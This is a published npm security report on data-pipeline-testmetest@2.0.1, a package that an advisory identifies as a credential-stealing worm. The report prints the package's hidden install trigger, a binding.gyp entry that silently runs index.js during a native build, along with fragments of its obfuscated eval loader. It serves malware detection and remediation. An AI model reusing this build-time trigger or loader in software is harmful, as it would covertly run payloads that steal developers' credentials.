---
canonical: "https://firewall.lpm.dev/npm/data-pipeline-testmetest"
markdown: "https://firewall.lpm.dev/npm/data-pipeline-testmetest/report.md"
package: "data-pipeline-testmetest"
report_status: "published"
title: "data-pipeline-testmetest@2.0.1 npm security report"
verdict: "malicious"
version: "2.0.1"
---

# data-pipeline-testmetest@2.0.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-18177 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 2.0.1
- **Selected version is latest:** Yes
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-18177 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

OpenSSF/OSV advisory MAL-2026-18177 confirms this npm version as malicious. data-pipeline-testmetest 2.0.1 is a self-spreading credential stealer that runs on \`npm install\` without an install script: its \`binding.gyp\` source \`\<!(env node index.js \>/dev/null 2\>&1; echo stub.c)\` makes node-gyp run \`index.js\`, an obfuscated loader that decrypts a 939 KB payload and pipes it into Bun (downloaded from GitHub if missing)...

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 91.0%
- **Started:** 2026-10-22T04:57:49.563Z
- **Finished:** 2026-10-22T05:00:11.015Z
- **Download time:** 1266 ms
- **Static scan time:** 3269 ms
- **AI review time:** 136917 ms
- **Total time:** 141452 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** A native build can execute the obfuscated entrypoint, which decrypts and executes bundled code. The payload’s effects remain unresolved, so no specific theft, damage, or network attack is confirmed.

- **Trigger:** A package installation or build path that processes binding.gyp with node-gyp.

- **Impact:** Package-controlled hidden code executes during the build, but its actions and data access are not established by the inspected source.

- **Evidence paths:** binding.gyp, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-22T05:00:11.015Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The build configuration runs node index.js; the entrypoint decodes its wrapper, decrypts embedded AES-GCM payloads, evaluates one, and runs another through Bun.

- **Rationale:** The implicit build-time execution of heavily obfuscated, encrypted code presents a concrete unresolved risk. The visible Bun installer behavior is consistent with installing Bun, and the flagged locations do not establish account actions; the encrypted payload prevents a clean assessment.

- **Files touched:** binding.gyp, index.js, .lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/package.json, .lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js

### Review decision

- **Verdict:** Suspicious

- **Confidence:** 91.0%

- **Recommended action:** downgrade\_to\_warn

- **Intent class:** Dangerous Capability

- **False-positive risk:** Medium

- **Evidence for AI warning decision:** package.json names index.js as the entry point, declares bun as a dependency, and has no lifecycle script., binding.gyp runs node index.js while generating a source file, creating a native build path that executes the entrypoint., index.js wraps a numeric ROT13 decoder around eval; static decoding reveals embedded AES-GCM decryption, evaluation of one decrypted result, and execution of another through Bun., The scanner-flagged Bun installer code handles temporary files and installs or downloads and links the platform Bun binary; these excerpts show file setup rather than account actions.

- **Evidence against:** The package has no declared lifecycle hook. The dependency installer’s visible download is for the Bun platform binary from registry.npmjs.org, consistent with its installer behavior.

## Affected versions and remediation

This report applies to data-pipeline-testmetest@2.0.1.

- Avoid installing data-pipeline-testmetest@2.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%

Package source references a known benign dynamic code generation pattern.

### 2. Medium: Ships Build Helper
- **Category:** Artifact Inventory
- **Confidence:** 70.0%
- **Path:** binding.gyp
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/binding.gyp>)

Package ships non-JavaScript build or shell helper files.

Public source snippet (untrusted):

```text
path = binding.gyp
kind = build_helper
sizeBytes = 160
magicHex = [redacted]
```

### 3. Medium: Oversized Source File
- **Category:** Artifact Inventory
- **Confidence:** 70.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/index.js>)

Package contains source files above the normal full-analysis size ceiling.

Public source snippet (untrusted):

```javascript
path = index.js
kind = oversized_source_file
sizeBytes = 6354937
magicHex = [redacted]
```

### 4. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 5. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 91.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/package.json>)

package.json names index.js as the entry point, declares bun as a dependency, and has no lifecycle script.

Public source snippet (untrusted):

```json
{
  "name": "data-pipeline-testmetest",
  "version": "2.0.1",
  "description": "Test pipeline utilities",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "bun": "^1.2.18"
  }
}
```

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** binding.gyp
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/binding.gyp>)

binding.gyp runs node index.js while generating a source file, creating a native build path that executes the entrypoint.

Public source snippet (untrusted):

```text
{
  "targets": [
    {
      "target_name": "nothing",
      "type": "none",
      "sources": ["<!(env node index.js >/dev/null 2>&1; echo stub.c)"]
    }
  ]
}
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/index.js>)

index.js wraps a numeric ROT13 decoder around eval; static decoding reveals embedded AES-GCM decryption, evaluation of one decrypted result, and execution of another through Bun.

Public source snippet (untrusted):

```javascript
(function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,function(v){var o=v<="Z"?65:97;return String.fromCharCode((v.charCodeAt(0)-o+k)%26+o)})})([40,110,102,108,97,112,40,41,61,62,123,103,101,108,123,10,112,98,97,102,103,32,95,112,61,110,106,110,118,103,32,118,122,99,98,
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/index.js>)

index.js wraps a numeric ROT13 decoder around eval; static decoding reveals embedded AES-GCM decryption, evaluation of one decrypted result, and execution of another through Bun.

Public source snippet (untrusted):

```javascript
,10,125,112,110,103,112,117,40,114,41,123,125,125,41,40,41].map(function(x){return String.fromCharCode(x)}).join(""),13))}catch(_){}})();
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** .lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js>)

The scanner-flagged Bun installer code handles temporary files and installs or downloads and links the platform Bun binary; these excerpts show file setup rather than account actions.

Public source snippet (untrusted):

```javascript
ect(status) {
  switch (status) {
    case 301:
    case 308:
    case 302:
    case 307:
    case 303:
      return !0;
  }
  return !1;
}
__name(isRedirect, "isRedirect");

// src/fs.ts
var import_fs = __toESM(require("fs")), import_os = __toESM(require("os")), import_path = __toESM(require("path"));
function join(...paths) {
  return import_path.default.join(...paths.flat(2));
}
__name(join, "join");
function tmp() {
  var _a;
  let tmpdir = (_a = process.env.RUNNER_TEMP) != null ? _a : import_os.default.tmpdir(), dir = import_fs.default.mkdtempSync(join(tmpdir, "bun-"));
  return debug("tm
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** .lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js>)

The scanner-flagged Bun installer code handles temporary files and installs or downloads and links the platform Bun binary; these excerpts show file setup rather than account actions.

Public source snippet (untrusted):

```javascript
, { recursive: !0 });
    return;
  } catch (error2) {
    debug("fs.rmdirSync failed", error2);
  }
  for (let filename of import_fs.default.readdirSync(path2))
    rm(join(path2, filename));
  import_fs.default.rmdirSync(path2);
}
__name(rm, "rm");
function rename(path2, newPath) {
  debug("rename", path2, newPath);
  try {
    import_fs.default.renameSync(path2, newPath);
    return;
  } catch (error2) {
    debug("fs.renameSync failed", error2);
  }
  try {
    rm(newPath);
  } catch (error2) {
    debug("rm failed", error2);
  }
  import_fs.default.renameSync(path2, newPath);
}
__name(ren
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** .lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js>)

The scanner-flagged Bun installer code handles temporary files and installs or downloads and links the platform Bun binary; these excerpts show file setup rather than account actions.

Public source snippet (untrusted):

```javascript
supportedPlatforms)
      try {
        return yield requireBun(platform);
      } catch (error2) {
        debug("requireBun failed", error2);
      }
    throw new Error('Failed to install package "bun"');
  });
}
__name(importBun, "importBun");
function requireBun(platform) {
  return __async(this, null, function* () {
    let module2 = `@oven/${platform.bin}`;
    function resolveBun() {
      let exe = require.resolve(join(module2, platform.exe)), { exitCode, stderr, stdout } = spawn(exe, ["--version"]);
      if (exitCode === 0)
        return exe;
      throw new Error(stderr || stdout)
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 91.0%
- **Path:** .lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js
- **Public source:** [View source](<https://unpkg.com/data-pipeline-testmetest@2.0.1/.lpm-dependency-evidence-dc1483a2-9c81-4172-a34e-a157ccf46ddb/0/npm-linux/install.js>)

The scanner-flagged Bun installer code handles temporary files and installs or downloads and links the platform Bun binary; these excerpts show file setup rather than account actions.

Public source snippet (untrusted):

```javascript
;
    }
    __name(resolveBun, "resolveBun");
    try {
      return resolveBun();
    } catch (cause) {
      debug("resolveBun failed", cause), error(
        `Failed to find package "${module2}".`,
        'You may have used the "--no-optional" flag when running "npm install".'
      );
    }
    let cwd = join("node_modules", module2);
    try {
      installBun(platform, cwd);
    } catch (cause) {
      debug("installBun failed", cause), error(`Failed to install package "${module2}" using "npm install".`, cause);
      try {
        yield downloadBun(platform, cwd);
      } catch (cause2
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** data-pipeline-testmetest
- **Ecosystem:** npm
- **Version:** 2.0.1
- **License:** MIT
- **Version published:** 2026-10-21T11:13:23.541Z
- **Package first seen:** 2026-10-21T12:22:10.521Z
- **Package last seen:** 2026-10-22T05:00:11.015Z
- **Known versions:** 4
- **Latest version:** 2.0.1
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/data-pipeline-testmetest>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-18177>)
- [PACKAGE](<https://www.npmjs.com/package/data-pipeline-testmetest/v/2.0.1>)
